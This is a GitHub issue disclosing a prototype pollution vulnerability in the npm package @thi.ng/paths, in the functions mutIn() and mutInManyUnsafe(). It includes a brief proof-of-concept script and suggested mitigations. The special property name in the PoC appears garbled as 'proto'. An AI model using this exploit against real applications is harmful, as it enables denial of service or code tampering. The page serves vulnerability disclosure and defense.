Skip to content

Prototype Pollution vulnerability affecting @thi.ng/paths, versions <=5.1.62 #445

Closed
@tariqhawis

Description

@tariqhawis

Prototype Pollution vulnerability affecting @thi.ng/paths (1.3.8)

Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

Vulnerable function:

  1. mutIn() in paths/mut-in.js
  2. mutInManyUnsafe() in paths/mut-in-many.js in

POC:
import * as paths from "@thi.ng/paths";

var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.proto));
try {
paths.mutIn({}, [["proto"], "polluted"], true, true)
paths.mutInManyUnsafe({}, [["proto"], "polluted"], true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.proto));
delete Object.prototype.polluted;

Mitigation:

Freeze the prototype— use Object.freeze (Object.prototype).
Validation of JSON inputs.
Use Map instead of Object.
Crete objects without prototype, that will break the prototype chain and preventing pollution. Example:
let obj = Object.create(null);
obj.proto // undefined
obj.constructor // undefined

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions